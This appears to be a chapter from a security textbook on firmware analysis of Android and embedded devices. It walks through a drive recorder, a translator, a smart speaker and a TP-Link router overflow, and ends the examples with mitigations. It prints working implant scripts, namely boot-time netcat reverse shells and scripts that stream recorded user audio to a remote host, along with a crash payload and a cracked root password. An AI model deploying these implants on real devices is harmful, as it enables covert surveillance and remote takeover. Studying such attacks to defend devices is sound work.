For example, decompile an APK: D:\Apktool>apktool d demo.apk I: Using Apktool 2.3.3 on demo.apk I: Loading resource table... I: Decoding AndroidManifest.xml with resources... I: Loading resource table from file: C:\Users\Marvel\AppData\Local \Temp\1.apk I: Regular manifest package... I: Decoding file-resources...
158
4 Analysis of Firmware Vulnerabilities
I: Decoding values */* XMLs... I: Baksmaling classes.dex... I: Copying assets and libs... I: Copying unknown files... I: Copying original files...
The decompiled result will be stored in the folder with the same name as the decompiled APK in the current directory. We can view the decompiled AndroidManifest.xml file, resource files, and smali files in the smali folder. The smali file is a loose syntax format formed by the disassemble of the Android dex file. You can use the tool in dex2jar to translate smali into more understandable java code, or directly use the dex2jar introduced in the previous section to convert the dex file into a jar package. But if you want to debug and modify the code, you still need to do it on the smali code.
Other Tools Smali2JavaUI, which calls Apktool and Smali2jav, is used as a "one-stop" APK disassemble tool, which can directly convert APK into readable java code and provide a graphical interface. It can be downloaded from GitHub: https://github. com/wuzf/Android/tree/master/apktool/Smali2Java. This tool is characterized by convenience, but not stable enough, so it sometimes causes decompilation to fail. In addition, there are many tools related to APK reverse engineering and debugging, such as JEB and ApkToolkit that can be combined.
4.2.5
Example: Reverse Analysis of the Drive Recorder Application
This example will analyze a certain drive recorder and reverse the APK to explore the developer mode. The drive recorder produced in April 2018 has built-in Android 5.1 system, with CPU architecture for arm64 and MediaTek MT6328 chip.
4.2.5.1
Hardware Analysis
After finding the UART interface on the device motherboard and using USB-TTL to connect to the computer, the startup log information will be displayed. The partition information in the log is as follows: [PART] blksz: 512B [PART] [0x0000000000080000-0x000000000037FFFF] "proinfo" (6144 blocks) [PART] [0x0000000000380000-0x000000000087FFFF] "nvram" (10240
4.2 Analysis of Android System Firmware Vulnerability blocks) [PART] [0x0000000000880000-0x000000000127FFFF] blocks) [PART] [0x0000000001280000-0x0000000001C7FFFF] blocks) [PART] [0x0000000001C80000-0x0000000001CFFFFF] [PART] [0x0000000001D00000-0x0000000001D7FFFF] [PART] [0x0000000001D80000-0x0000000002D7FFFF] [PART] [0x0000000002D80000-0x0000000003D7FFFF] blocks) [PART] [0x0000000003D80000-0x000000000457FFFF] [PART] [0x0000000004580000-0x0000000004F7FFFF] blocks) [PART] [0x0000000004F80000-0x0000000004FFFFFF] blocks) [PART] [0x0000000005000000-0x00000000051FFFFF] blocks) [PART] [0x0000000005200000-0x00000000057FFFFF] blocks) [PART] [0x0000000005800000-0x0000000005FFFFFF] blocks) [PART] [0x0000000006000000-0x00000000064FFFFF] [PART] [0x0000000006500000-0x00000000069FFFFF] [PART] [0x0000000006A00000-0x0000000006AFFFFF] [PART] [0x0000000006B00000-0x000000001FAFFFFF] blocks) [PART] [0x000000001FB00000-0x0000000021AFFFFF] blocks) [PART] [0x0000000021B00000-0x0000000023FFFFFF] blocks) [PART] [0x0000000024000000-0x0000000083FFFFFF] blocks) [PART] [0x0000000084000000-0x000000009CFFFFFF] blocks) [PART] [0x000000009D000000-0x00000003A2D7FFFF] blocks) [PART] [0x00000003A2D80000-0x00000003A3D7FFFF] blocks) [ROM_INFO] 'v2','0x0','0x0','0x0','0x2C00' [SEC_K] SML KEY AC = 0 [SEC_K] SBC_PUBK Found [SEC] AES Legacy : 0 [SEC] SECCFG AC : 1
159
"protect1" (20480 "protect2" (20480 "lk" (1024 blocks) "para" (1024 blocks) "boot" (32768 blocks) "recovery" (32768 "logo" (16384 blocks) "expdb" (20480 "seccfg" (1024 "oemkeystore" (4096 "secro" (12288 "keystore" (16384 "tee1" (10240 blocks) "tee2" (10240 blocks) "frp" (2048 blocks) "voice" (819200 "nvdata" (65536 "metadata" (75776 "system" (3145728 "cache" (819200 "userdata" (25357312 "flashinfo" (32768
The serial interface shell has not been obtained; solder the flash chip and use the programmer to read the firmware.
4.2.5.2
Reverse APK
In the “Settings”-“About” menu of the device, we quickly click “Current Version Number” and a developer mode menu with only version number information and
160
4 Analysis of Firmware Vulnerabilities
Fig. 4.12 Code of hidden developer mode
dial pad will pop up. After entering the dial pad, the password verification is required. We first read the “setting” APK file located in the priv-app directory of the firmware`s system partition, then use the dex2jar and jd-gui introduced in Sect. 4.2.4 to decompile it into java code. We can use the “Save All Sources” function of the jd-gui tool to save the code, and then use apktool to decompile AndroidManifest. xml and other resource files. Fig. 4.12 shows the code to find the hidden developer mode in AboutHiddenActivity.java: According to the code, find the dial-related judgment code in the Dialer of another APK, as shown in Fig. 4.13. We can enter the engineering debugging mode by entering the debugging password on the dial pad.
4.2.6
Example: A Translator Implants Vulnerability Analysis Through a USB Interface Program
This section will take a translation machine as an example to introduce the analysis and research methods of smart devices in the Android system, introduce the process of implanting Trojan attacks through the USB interface, and propose measures in the last part. A translator produced in May 2018 uses Qualcomm MSM8917 chip, with architecture of arm64, operating system version is Android7.1.
4.2.6.1
Hardware Analysis
The serial interface is not found on the motherboard of the device. Solder the flash chip and use the programmer to read out the contents of the chip. The important partitions of the 49 partitions of the device are shown in Table 4.10.
4.2 Analysis of Android System Firmware Vulnerability
161
Fig. 4.13 Hidden debugging password
After using mkbootimg_tools (introduced in sect. 3.3.2) to unpack the bootimg file system, mount the system file system directly.
4.2.6.2
Open adb Through Reverse Analysis
In the "Settings"-"About This Machine"-"Storage Space" menu, click "Total Capacity" several times and a password input box will pop up. This is presumably the password used to open the developer options. Find the relevant apk named Settings.apk in the priv-app directory under the system partition, and analyze it in reverse. After decompiling into java code using dex2jar and jd-gui introduced in sect. 4.2.4, we use apktool to decompile AndroidManifest.xml and other resource files.
162 Table 4.10 Important Partitions of a Translator
4 Analysis of Firmware Vulnerabilities Partition Number sdb21 sdb22 sdb24 sdb29 sdb50
Name bootimg bootimg system sdcard data
Fig. 4.14 Password for developer option
In the com.Android.settings.deviceinfo.IflStorageSettings package, find the code to determine the password and turn on the developer mode (Fig. 4.14). Enter the corresponding password to open the developer mode. In developer mode, we can turn on USB debugging and connect to the device via adb, but the device does not allow installation of applications via adb. Check whether SELinux is enabled on the device through adb, and it is displayed in Permissive mode: D:\adb>adb shell translator:/ $ getenforce getenforce Permissive
4.2 Analysis of Android System Firmware Vulnerability
163
Fig. 4.15 Recovery mode interface
4.2.6.3
Fastboot and Recovery Mode
After opening adb, we have limited permissions. The next step is to try to flash the device firmware through Fastboot and Recovery modes. It has been verified that we can enter Recovery mode by pressing and holding the "Volume -" and power-on keys during boot. The Recovery mode interface is shown in Fig. 4.15. We can update from ADB or SD card through Recovery mode, but the update package needs to be signed. Only the adb sideload command is supported through ADB update (Fig. 4.16). After connecting to adb, we can use the following command to enter Fastboot mode: $ adb reboot bootloader
After entering Fastboot mode, enter the following command to view variable information: $ D:\Fastboot>fastboot getvar all (bootloader) version:0.5 (bootloader) battery-soc-ok:yes (bootloader) battery-voltage:3828000 (bootloader) variant:MTP eMMC (bootloader) secure:no (bootloader) version-baseband: (bootloader) version-bootloader: (bootloader) display-panel: (bootloader) off-mode-charge:0
164
4 Analysis of Firmware Vulnerabilities
Fig. 4.16 Peda plugin interface
(bootloader) charger-screen-enabled:0 (bootloader) max-download-size: 0x1ff00000 (bootloader) partition-type:cache:ext4 (bootloader) partition-size:cache: 0x80000000 (bootloader) partition-type:userdata:ext4 (bootloader) partition-size:userdata: 0x4ffb79e00 (bootloader) partition-type:system:ext4 (bootloader) partition-size:system: 0xc0000000 (bootloader) serialno:d341079e (bootloader) kernel:lk (bootloader) product:QC_REFERENCE_PHONE all: finished. total time: 0.062s
The value of the secure item is "no" and it shows that fastboot is not locked, and then try to use the fastboot command reformatting firmware: D:\Fastboot>fastboot flash recovery sdb21 target reported max download size of 535822336 bytes sending 'recovery' (65536 KB)... OKAY [ 2.064s]
4.2 Analysis of Android System Firmware Vulnerability
165
writing 'recovery'... FAILED (remote: unknown command) finished. total time: 2.077s
The failure of using fastboot reformatting firmware is related to the chip's own mechanism, so the security mechanism and unique EDL mode of Qualcomm chips will be introduced soon.
4.2.6.4
Qualcomm Secure Boot
Since the Qualcomm MSM8917 chip uses Secure Boot, we cannot partition the root device through reforming bootimg, but can partition the reformatting system. The security mechanism of Secure Boot is introduced below. The general system boot process has been introduced in sect. 3.2.2. Figure 4.17 shows the startup process of Secure Boot. First, after loading the Primary Bootloader in the ROM, the master bootloader loads the signed Secondary Bootloader into the memory and verifies its signature. The auxiliary bootloader will complete initialization, then load the signed Android Bootloader (ABOOT) and verify its signature. The Android bootloader provides the Fastboot interface. Next, the Android boot program will verify the signatures of the boot and recovery images. After the verification passes, the Linux kernel and ramdisk root file system will be loaded from the image, and control will be transferred to the kernel. The authentication of Secure Boot includes a certificate chain. Attestation certificate, as the lowest level certificate for signing the image, is signed by Attestation CA certificate and then signed by Root CA certificate. We authenticate by comparing the
Fig. 4.17 Qualcomm secure boot process
Primary Bootloader
Load and verify validity
Secondary Bootloader
Load and verify validity
Kernel
Android Bootloader Verify the validity of boot and recovery, load linux kernel and initramfs root file system from boor or recovery image
166
4 Analysis of Firmware Vulnerabilities
hash value with the hash value of the root certificate stored in the ROM. The hash value of the root certificate stored in the ROM is provided by the OEM.
4.2.6.5
Qualcomm EDL Mode for Firmware Reformatting
Emergency Download Mode, as a unique recovery mode, allows the host to connect to the device via USB and send commands after being entered. The device will be recognized as a Qualcomm HS-USB 9008 device, so this mode is also called Qualcomm HS-USB QDloader 9008. The EDL mode using Qualcomm's Sahara protocol (the newer devices use the Firehose protocol) is implemented in the main boot program and supports an OEMsigned program (Programmer) as a secondary boot program. The format of this program in previous devices is MBN format, while in recent production devices it is ELF format. The translator device can enter the following command in adb to enter EDL mode: $ adb reboot edl
The device was recognized as Qualcomm HS-USB 9008 on the host after restarting. After Qualcomm, which provides the management tool QFIL (Qualcomm Flash Image Loader) in EDL mode, recognizes the 9008 device, if you want to manage the device partition in EDL mode, we need to add a Programmer. We select "Flat Build" in the "Select Build Type" column, and add the Programmer path of the MSM8917 chip downloaded from the Internet in the "Select Programmer" (Fig. 4.18). Select "Partition Manager" from the "Tools" option in the menu bar as shown in Fig. 4.19, which displays the partition information. We right-click to select the partition and select "Manage Partition Data" (Fig. 4.20), we can read and write partitions, etc.
4.2.6.6
Another Way to Enter EDL Mode by Viewing lk Source Code
Since we only found a way to enter EDL mode through adb in the previous section, if we fail to flash the system partition and cannot enter the system at this time, we will not be able to open EDL mode through adb again. Therefore, we need to find another way to enter EDL mode. After entering the fastboot mode, the output variable can be obtained (in Sect. 3), and the Android Bootloader used by the device is lk (Little Kernel), which is a microkernel of an embedded device, and Qualcomm modified the lk source code and used it as an Android Bootloader. Download lk source code analysis: In lk/app/aboot/aboot.c, find the code that triggers EDL mode, Fastboot mode, and Recovery mode (Code 4.13).
4.2 Analysis of Android System Firmware Vulnerability
Fig. 4.18 QFIL interface
Fig. 4.19 QFIL partition manager interface
167
168
4 Analysis of Firmware Vulnerabilities
Fig. 4.20 QFIL Manage Partition Data Interface
Code 4.13 The Code that Triggers the Recovery Mode in Aboot //Press "Volume +" and "Volume -" at the same time to enter EDL mode if (keys_get_state(KEY_VOLUMEUP) && keys_get_state (KEY_VOLUMEDOWN)) { dprintf(ALWAYS,"dload mode key sequence detected\n"); if (set_download_mode(EMERGENCY_DLOAD)) { dprintf(CRITICAL,"dload mode not supported by target\n"); } else { reboot_device(DLOAD); dprintf(CRITICAL,"Failed to reboot into dload mode\n"); } boot_into_fastboot = true; } if (!boot_into_fastboot) { //Press the HOME button and the "Volume +" button at the same time to enter Recovery mode if (keys_get_state(KEY_HOME) || keys_get_state(KEY_VOLUMEUP)) boot_into_recovery = 1; //Press the back button and the "volume-" button at the same time to enter the Fastboot mode if (!boot_into_recovery && (keys_get_state(KEY_BACK) || keys_get_state(KEY_VOLUMEDOWN))) boot_into_fastboot = true; }
Press the “Volume +” and “Volume –“ while booting to successfully enter the EDL mode.
4.2 Analysis of Android System Firmware Vulnerability
4.2.6.7
169
Root Devices and Implanted Programs
After obtaining a stable method to enter EDL mode, we try to obtain the root shell of the device through the reformatting system mirroring, and implant the monitor program in the device to obtain real-time translated audio. Change in the system image: 1. Put the spy.sh script in the bin/ directory: Code 4.14 Spy Code #!/system/bin/sh while true do echo "spy executed" >> /data/spyinfo #server ip 192.168.0.175 port 2222 /system/bin/nc 192.168.0.175 2222 -e /system/bin/sh 2>&1 sleep 30 done
2. Add in the script init.qcom.post_boot.sh that starts automatically after booting: /system/bin/spy.sh &
3. Put the script send_pcm.sh to send audio on the device side: Code 4.15 Code for Sending Audio #!/bin/sh if [ -f /data/oldfiles.log ] then while true do //Write_msc.pcm, which is updated every time it is translated, is used to store the recorded user voice newfile_md5=`md5sum /data/media/0/msc/write_msc.pcm | cut -d ' ' -f1` cat /data/oldfiles.log | grep $newfile_md5 >/dev/null if [ $? -eq 1 ] then echo "Find a new file:$newfile_md5" echo "Send it to server..." sleep 2 nc 192.168.0.175 3333 < /data/media/0/msc/write_msc.pcm echo $newfile_md5 >> /data/oldfiles.log else echo "No new files" fi sleep 5 done
170
4 Analysis of Firmware Vulnerabilities
else md5sum /data/media/0/msc/write_msc.pcm | cut -d ' ' -f1 > /data/ oldfiles.log echo "Save old files to log" fi
Shell can be obtained on the host side ncmonitor2222 port. We can obtain the translated audio by running send_pcm.sh in the shell, and running the script recv_pcm.sh that receives the audio on the host side. Code 4.16 Code for Receiving the Audio #!/bin/sh while true do nc -lp 3333 > write_msc.pcm echo "Receive audio..." echo "Play audio..." ffplay -ar 16000 -channels 1 -f s16le -i write_msc.pcm done
4.2.6.8
Measures
1. The chip manufacturer hides the method of entering the emergency recovery mode and the corresponding Programmer, or sets the authentication password. 2. Open the SELinux。 3. Set up security detection related services and detect unexpected processes in the device.
4.2.7
Example: Analysis of Implantation Vulnerability of a Smart Speaker
This section will take the modification of a smart speaker firmware as an example to introduce the attack method and process of implanting programs by modifying the firmware, and propose solutions in the last part. The smart speaker produced in April 2018 uses Allwinner R16 chip, with embedded Linux operating system based on Linux 3.4 kernel and armv7l architecture.
4.2 Analysis of Android System Firmware Vulnerability
171
Fig. 4.21 A smart speaker motherboard
4.2.7.1
Serial Interface Debugging
Figure 4.21 shows the soldering of the UART serial interface on the device motherboard after disassembly. After accessing through TTL-USB, we can get a shell with root authority. The device file system is read-only squashfs. The /tmp, /dev, and /data directories are writable and will not be erased when restarting. There are no compiler tools and writable shell scripts in the system. The serial interface that can be activated by an external SD card is not found. Figure 4.22 shows the shell and file system mount information: We can see from the boot log (Code 4.1) that the device is using NAND flash. According to the order of the partition table, each partition can be identified as nanda, nandb, nandc, nandd, nande, etc. (it can be inferred from the content introduced in sect. 3.2.4 and verified in the /dev directory), corresponding to env, kernel1, and rootfs1, kernel2, rootfs2. The file system partition has rootfs1 and rootfs2 to upgrade the system and backup. The basic knowledge related to bootloader has been introduced in sect. 3.2.2. Code 4.1 Part of the Startup Log of a Smart Speaker (Irrelevant Information Has Been Omitted) ... U-Boot 2011.09-rc1-00000-g2701bad-dirty (Apr 28 2018 - 22:11:21) Allwinner Technology [ ...
0.479]version: 1.1.0
[ 2.118]sunxi flash init ok In: serial Out: serial Err: serial ------–fastboot partitions--__----–
172
4 Analysis of Firmware Vulnerabilities
Fig. 4.22 A smart speaker shell and mount information -total partitions:9-name-start-sizeenv : 1000000 100000 kernel1 : 1100000 600000 rootfs1 : 1700000 2000000 kernel2 : 3700000 600000 rootfs2 : 3d00000 2000000 misc : 5d00000 100000 private : 5e00000 100000 crashlog : 5f00000 100000 UDISK : 6000000 0 ---------------------------------– ... [ 1.637937] [SCAN_DBG] ==============Nand Architecture Parameter============== [ 1.646182] [SCAN_DBG] Nand Chip ID: 0x9500f1ec 0xffffff42 [ 1.653556] [SCAN_DBG] Nand Channel Count: 0x1 [ 1.659080] [SCAN_DBG] Nand Chip Count: 0x1 [ 1.664614] [SCAN_DBG] Nand Chip Connect: 0x1 [ 1.670254] [SCAN_DBG] Nand Rb Connect Mode: 0x1 [ 1.676261] [SCAN_DBG] Sector Count Of Page: 0x4 [ 1.681899] [SCAN_DBG] Page Count Of Block: 0x40 [ 1.687520] [SCAN_DBG] Block Count Of Die: 0x400 [ 1.693350] [SCAN_DBG] Plane Count Of Die: 0x2 [ 1.698873] [SCAN_DBG] Die Count Of Chip: 0x1 [ 1.704407] [SCAN_DBG] Bank Count Of Chip: 0x1 [ 1.710046] [SCAN_DBG] Optional Operation: 0x4000008c
4.2 Analysis of Android System Firmware Vulnerability
173
[ 1.716246] [SCAN_DBG] Access Frequency: 0x1e [ 1.721983] [SCAN_DBG] ECC Mode: 0x0 [ 1.727508] [SCAN_DBG] Read Retry Type: 0x0 [ 1.733147] [SCAN_DBG] DDR Type: 0x0 [ 1.738671] [SCAN_DBG] ======================================================= [ 1.738677] ...
When booting up, uboot's entry countdown is set to 0 and cannot be entered: [
2.254]Hit any key to stop autoboot: 0
The environment variables of the bootloader are stored in the env partition and the corresponding storage device is /dev/nanda. The command to read out the contents of nanda using the dd command is: # dd if=/dev/nanda of=/tmp/uboot.bin
Send uboot.bin to the host through the network and put it into the hexadecimal editor HxD to view, you can see the value of the environment variable (Fig. 4.23): First modify the environment variable to bootdelay¼3 and set the countdown to enter uboot. Write the modified nanda to /dev/nanda: # dd if=/tmp/uboot.bin of=/dev/nanda
Fig. 4.23 The content of a smart speaker uboot
174
4 Analysis of Firmware Vulnerabilities
After restarting, you can use the keyboard to interrupt and enter uboot during the countdown. After entering uboot, enter the printenv command to view the current environment variables: sunxi#printenv baudrate=115200 boot_fastboot=fastboot boot_first=fatload sunxi_flash kernel1 43800000 uImage;bootm 43800000 boot_second=fatload sunxi_flash kernel2 43800000 uImage;bootm 43800000 bootcmd=run setargs_first boot_first bootdelay=3 console=ttyS0,115200 ethact=usb_ether first_root=/dev/nandc init=/init loglevel=8 partitions=env@nanda:kernel1@nandb:rootfs1@nandc:kernel2@nandd: rootfs2@nande:mii second_root=/dev/nande (Irrelevant parts are omitted) Environment size: 1041/131068 bytes
first_root determines the partition to be started first and is set to /dev/nandc in this example, which is rootfs1; second_root determines the alternate partition, and in this example is set to /dev/nande, which is rootfs2. Partitions can verify the correspondence of NAND flash partitions. After nande is started, the following commands can be run to modify: sunxi#setenv first_root /dev/nande
Run the saveenv command and save the environment variable configuration: sunxi#saveenv
Run the boot command to continue booting the system: sunxi#boot
4.2.7.2
Implant Remote Control Program and Monitor
The device uses a compressed read-only squashfs file system (introduced in sect. 3.2. 4), so you cannot directly create and modify files to implant programs after entering the system shell. Therefore, the file system needs to be exported, unpacked, modified and repacked and flashed back to the partition.
4.2 Analysis of Android System Firmware Vulnerability
175
After entering the system shell, use the dd command to export the file system (either rootfs1 or rootfs2), and use nc or other network transmission commands to transfer back to the host. For example, when using nc, the host runs: $ nc –lp 2222 > nande.squashfs
The device runs: $ dd if=/dev/nande of=/tmp/nande.squashfs #Host ip 172.27.35.1 monitor port 6666 $ nc 172.27.35.1 6666 < /tmp/nande.squashfs
Use squashfs-tools to unpack on the host: $ unsquashfs nande.squashfs Parallel unsquashfs: Using 4 processors 1723 inodes (2144 blocks) to write
[=============================================================-] 2144/2144 100% created 1244 files created 92 directories created 479 symlinks created 0 devices created 0 fifos
The nc program on the device only accepts two parameters, the destination ip and port (in addition, if there is no nc program, we need to cross compile the nc program and put it into the device file system). After entering the unpacked file system directory, place the written spy script in the /etc/init.d directory to automatically initiate a connection to the remote server at boot time (Code 4.2). Code 4.2 Spy Script spy: #!/bin/sh while true do #server ip 172.27.35.7, server port 1111 cat /data/f|/bin/sh –i 2&>1|nc 172.27.35.7 1111 >/data/f
Create a symbolic link to the spy program in /etc/rc.d/: $ ln –s ../init.d/spy S99spy
Create the monitor script sendAudio.sh to send audio to the remote server in real time (Code 4.3):
176
4 Analysis of Firmware Vulnerabilities
Code 4.3 Real-time Audio Sending Script sendAudio.sh: #!/bin/sh echo “send Audio. . .” #server ip 172.27.35.7, server port 2222 #arecord related content was introduced in section 3.2.5 arecord –D hw:0,0 –f S16_LE –r 48000 | nc 172.27.35.7 2222
Package file system with squashfs-tools: $ mksquashfs ./squashfs-root/ newnande.squashfs –comp xz –noappeds – always-use-fragments
Download the repackaged firmware to the device and use the dd command to flash it to the nande partition: $ dd if=newnande.squashfs of=/dev/nande
4.2.7.3
Make Use of the Results
After the device is turned on, it will automatically connect to the server connected by running the nc command monitor: the device can get a shell after connecting to the server. $ nc -lp 1111 BusyBox v1.24.1 () built-in shell (ash) @mico:/#
Run the real-time monitoring audio script on the host (Code 4.4): Code 4.4 The Host Monitors the Script in Real Time playAudio.sh: #!/bin/sh echo “play Audio. . .” #server listen on port 2222 nc –lp 2222 | aplay –r 48000 –f S16_LE –t raw #Or when using ffplay with a graphical interface, the sound waveform can be displayed #nc –lp 2222 | ffplay -ar 48000 -channels 1 -f s16le -i -
4.2 Analysis of Android System Firmware Vulnerability
177
Fig. 4.24 Real-time monitor interface of a speaker
The device can monitor in real time by running sendAudio.sh. Figure 4.24 shows the interface of the host running playAudio.sh and using ffplay to monitor in real time.
4.2.7.4
Solutions
This attack is a Trojan horse implantation attack that requires physical contact, and it happens in supply chain attacks and the use of second-hand equipment or leased equipment. The following are the solutions to this attack method: 1. When designing the device motherboard, hide the debug port logo or connect to the debug port and set the password when obtaining the shell. 2. In the bootloader stage, signature verification is used for the firmware or file system (secure boot introduced in sect. 4.2). 3. Security policy of opening the SELinux (introduced in section 4.2). 4. Add security detection related services to the device to detect unexpected processes.
4.2.8
Overview of Vulnerability Mining
4.2.8.1
Tools for Static Analysis
Static analysis refers to analyzing a program without running the code. In order to verify its standardization, reliability, and safety, in program analysis, the program
178
4 Analysis of Firmware Vulnerabilities
code is usually scanned through data flow analysis and control flow analysis. Vulnerability research generally refers to disassembling a binary program and analyzing program logic by reading pseudo-code or assembly code to find program vulnerabilities, that is, reverse analysis. IDA (Interactive Disassembler), as a powerful disassembler and debugging tool, supports various executable file formats for various processors and operating systems. It is characterized by disassembling of machine code into assembly code, automatic code analysis, automatic identification of cross-references in the code, API calls, etc., and an interactive interface. The full version of IDA Pro is commercial software. Early versions (such as v7.0 in February 2018) that were relatively incomplete in the early days can be downloaded for free. The following describes the basic usage of IDA.
Function and Interface Figure 4.25 shows the main interface of using IDA to open the executable program.
Fig. 4.25 IDA main interface
4.2 Analysis of Android System Firmware Vulnerability
179
Fig. 4.26 IDA graphics mode
• Menu bar and shortcut menu bar. The shortcut menu bar contains the more frequently used operations. It can also be set in the View-Toolbar. • Navigation Bar. The navigation bar displays the address of each part of the program in a colored horizontal bar. Different colors represent different parts including library functions, ordinary functions, instructions, data, etc. • Function window. The function window shows the functions automatically recognized by IDA. • Main window. The main window displays the disassemble code, which can show the text format or graphics mode in Fig. 4.5. The top column of the main window can be switched to different windows, such as assembly code display window, hexadecimal display window, structure window, import function window, and export function window. The interface in graphical mode is shown in Fig. 4.26. The green line is the jump execution flow when the judgment statement result is "yes"; the red line is the jump execution flow when the judgment statement result is "no"; the blue line is the sequential execution flow. • Output window. The output window displays some prompt messages, error messages, status messages, etc.
Hotkey IDA shortcut keys can improve analysis efficiency. Table 4.11 shows commonly used shortcut keys.
180
4 Analysis of Firmware Vulnerabilities
Table 4.11 Commonly used IDA shortcut keys Hotkey Space ESC Ctrl+Enter X N G Ctrl+L
Functions Switch between text mode and graphics mode in the main window Back to the position of the previous operation Skip to the next operation View cross reference Rename Skip to address Skip to function (display a list of function names)
Fig. 4.27 Example Interface of Hex-Rays Decompilation Plugin
Plugin IDA supports adding plugins. The installed plugins can be found in Edit-Plugins. The following is an introduction to commonly used IDA plugins. Hex-Rays decompilation plugin is the most popular IDA plugin, which can convert disassembled assembly code into more readable pseudo-code. It supports codes on x86, x64, ARM32, ARM64, and PowerPC architectures, and can be run on Windows, Linux, and Mac OS. After being installed on IDA, the Hotkey of the plugin is "F5" (6-12) (Fig. 4.27). IDAPython is a plugin that comes with IDA v6.8, and its project address is https:// github.com/idapython. IDAPython supports Python to write IDA processing scripts, and can call all IDA APIs and Python modules installed on the machine.
4.2 Analysis of Android System Firmware Vulnerability
181
mipsrop is a tool used to find suitable ROP gadgets in the disassemble code of the MIPS architecture. It can be downloaded from github: https://github.com/devttys0/ ida/tree/master/plugins/mipsrop. Figure 4.6 shows the user interface.
4.2.8.2
Dynamic Analysis and Debugging
Gdb, a dynamic debugging tool introduced in this book in sect. 3.2.7, is also a commonly used debugging and analysis tool in reverse analysis. In addition, gdb plugins such as peda, Gef, pwndbg, etc. can greatly improve analysis efficiency. Peda (Python Exploit Development Assistance for GDB), as a great debugging tool, can be downloaded at https://github.com/longld/peda. It can enhance the highlighting of GDB, including assembly code, memory, memory debugging information, and a clearer debugging interface; it also provides some enhancements, including checksec, aslr, ropsearch, readelf, etc. (Fig. 4.16). It can be installed using the following command: git clone https://github.com/longld/peda.git ~/peda echo "source ~/peda/peda.py" >> ~/.gdbinit echo "DONE! debug your program with gdb and enjoy"
gef (GDB Enhanced Features), as another plugin of GDB, supports code debugging of x86/64, ARM, MIPS, PowerPC, and SPARC architectures. It can be downloaded at https://github.com/hugsy/gef. This command is helpful for debugging and vulnerability research, and supports calling Python API to simplify the process of dynamic analysis and vulnerability exploitation. The interface of gef is similar to peda, but it supports more architectures than peda. As a Python module, pwndbg can be downloaded at https://github.com/pwndbg/ pwndbg. Compared with the above two plugins, it is more extensible.
4.2.8.3
Automated Vulnerability Mining
At present, fuzzing and symbolic execution are the main automated vulnerability mining techniques. Fuzzing technology is currently a widely used program testing and vulnerability mining technology, providing a large amount of input (may be unexpected input) to the tested program to detect program stability and discover program vulnerabilities. AFL (American Fuzzy Lop) is often used for vulnerability mining. It supports instrumentation of programs with source code at compile time. It supports binary programs without source code to use qemu to simulate runtime instrumentation and monitor program status. Genetic algorithm mutation input can effectively improve code coverage. This book will introduce examples of using AFL for fuzzing. Symbolic execution refers to the "symbolization" of the input, that is, the input is regarded as a symbolic value, and the output value calculated by the program is a
182
4 Analysis of Firmware Vulnerabilities
function of the input value. The calculated input value can be derived from the program output value. This needs to be solved with a constraint solver. Compared with fuzzing, symbolic execution can find the value when the branch conditions are harsh, but it cannot find the solution of one-way functions (hash functions, etc.), and it is also prone to path explosions.
4.2.9
Example: Analysis of Remote Code Execution Vulnerability of a Router
This section will take the recurrence of a router’s remote code execution vulnerability as an example to introduce the process of analyzing remote exploit of smart devices. The basic information of the vulnerability repaired in September 2017 is as follows: Router device: TP-Link TL-WR940N hardware version v4 firmware:3.16.9 Build 160620 CVE number: CVE-2017-13772. The description of CVE is shown in Fig. 4.28. This CVE represents a kind of vulnerability. Dredit finds the vulnerabilities (1) through Fuzz, and then finds the vulnerabilities through audit (2), which belong to the same CVE. This section analyzes the attack process of vulnerability (1).
4.2.9.1
Construct a Crafted Packet
Dredit found some interesting fields in the data packet, determined the ping_addr field through Fuzz and limited it to 50 characters (Fig. 4.29). It can be avoided by changing the package using Burp Suite (web vulnerability testing tool). More than 50 characters will cause the Web module to crash (Fig. 4.30). The crafted packet request structure is:
Fig. 4.28 Description of the CVE-2017-13772 vulnerability
4.2 Analysis of Android System Firmware Vulnerability
183
Fig. 4.29 Input dot character length limit
Fig. 4.30 Web application crash caused by long input
http://192.168.0.1/TUGSVUNATUVXVMTB/userRpm/PingIframeRpm.htm? sendNum=20&isNew=new&doType=ping&pSize=64&overTime =800&trHops=20&ping_addr=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA......
4.2.9.2
Extract Firmware
The firmware can be downloaded at the following link: https://static.tp-link.com/TL-WR940N(US)_V4_160617_1476690524248q.zip The firmware that is not encrypted can be extracted through binwalk (Fig. 4.31).
184
4 Analysis of Firmware Vulnerabilities
Fig. 4.31 Binwalk extracts firmware
Fig. 4.32 View the shadow file
A login password is required to connect to the device through uart. After viewing the shadow file, the encrypted password is obtained (Fig. 4.32). By comparing the hash value, it can be determined that the root password is sohoadmin (Fig. 4.33). Then you can connect to the UART interface of the device and log in. Log in to the device via UART (Fig. 4.34). Check the device support instructions, support mount instructions, and file transfer instructions scp and tftp (Fig. 4.35). Mount to view the read and write permissions of the device directory; /tmp and / var are writable directories (Fig. 4.36). After gdbserver chooses to cross-compile or google has compiled binary files, copy gdbserver into /tmp writable directory via scp or tftp and open the monitor port: $ /tmp/gdbserver.mipsbe attach 0.0.0.0:12345 PID
4.2 Analysis of Android System Firmware Vulnerability
Fig. 4.33 Compare password hash value
Fig. 4.34 Log in to the device via UART
Fig. 4.35 View the Commands Supported by the Device
185
186
4 Analysis of Firmware Vulnerabilities
Fig. 4.36 View directory read and write permissions
Fig. 4.37 Input points that can overflow
4.2.9.3
Find the Vulnerability Trigger Point
We use the ps command to view the process. The multi-process /usr/bin/httpd binary file serves for the Web module. We can attach the latest httpd process PID to gdbserver. Before debugging, compile gdb on this machine and add the compilation parameter --target¼mipsbel-linux to debug the big-endian mips program of the target environment. Then debug and the command is as follows. # gdb (gdb) target remote 192.168.0.1:12345
Triggering the crash occurs in the ipAddrDispose function of httpd. When the local variable var_AC is used as the target parameter and the length of the string is not verified when copying the string, strcpy causes a stack overflow (Fig. 4.37). Through backtracking, we can see that the parameters are derived from the ping_addr field (Fig. 4.38).
4.2 Analysis of Android System Firmware Vulnerability
187
Fig. 4.38 Function traceback
Fig. 4.39 Overwrite the return address
The overflow point starts from the local variable var_AC, and the overflow value will overwrite the return address. Check the function return and find that the registers that can be controlled include $ra, $s1, and $s0 (Fig. 4.39).
4.2.9.4
Construct ROP Chain
When constructing the ROP chain, it is worth mentioning:
188
4 Analysis of Firmware Vulnerabilities
Fig. 4.40 MIPS cache incoherency
